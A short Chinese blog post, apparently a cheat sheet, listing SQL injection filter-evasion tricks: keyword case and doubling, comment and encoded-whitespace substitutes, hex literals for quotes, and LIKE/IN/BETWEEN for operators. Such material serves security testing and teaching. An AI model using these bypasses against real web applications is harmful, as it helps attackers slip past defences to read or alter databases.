sql注入绕过方法

2019-11-07  本文已影响0人  nohands_noob

大小写变形:or — Or、oR
等价替换:and — &&、or — ||、 xor — |、 not — !
双写绕过:andand、oror (可能检测一个单词只去掉一个过滤词)
嵌套绕过:aandnd、oorr (aandnd检测到and并去除后,a+nd重新拼成and)

空格绕过:union/**/select 、
     union/*aaa*/select 、
     union/*!select*//*!database()*/
     url中:%09、%0A、%0B、%0D、%20、%0C、%A0 在sql都会被认为是空白符

函数分割:concat/**/()
     concat%250A()

逗号绕过: 原 select substr(database(),1,1)
     替换成 select substr(database() from 1 for 1)
     mid也可以这么表示 select mid(database() from 1 for 1)

引号绕过:where id='1234'
     将1234转换为16进制ascii码,分别为31、32、33、34
     用 where id=0x31323334 绕过引号

等号绕过:id = 1 替换成 id like 1
     like、rlike、regexp也可用于等号绕过
     用 in 也可以绕过等号
     id = 1 替换成 id in ('1')

大于号小于号绕过
     A > B 替换成 A NOT BETWEEN 0 AND B

对于 union select 整一块的检测 可以使用 union all select 来代替

上一篇 下一篇

猜你喜欢

热点阅读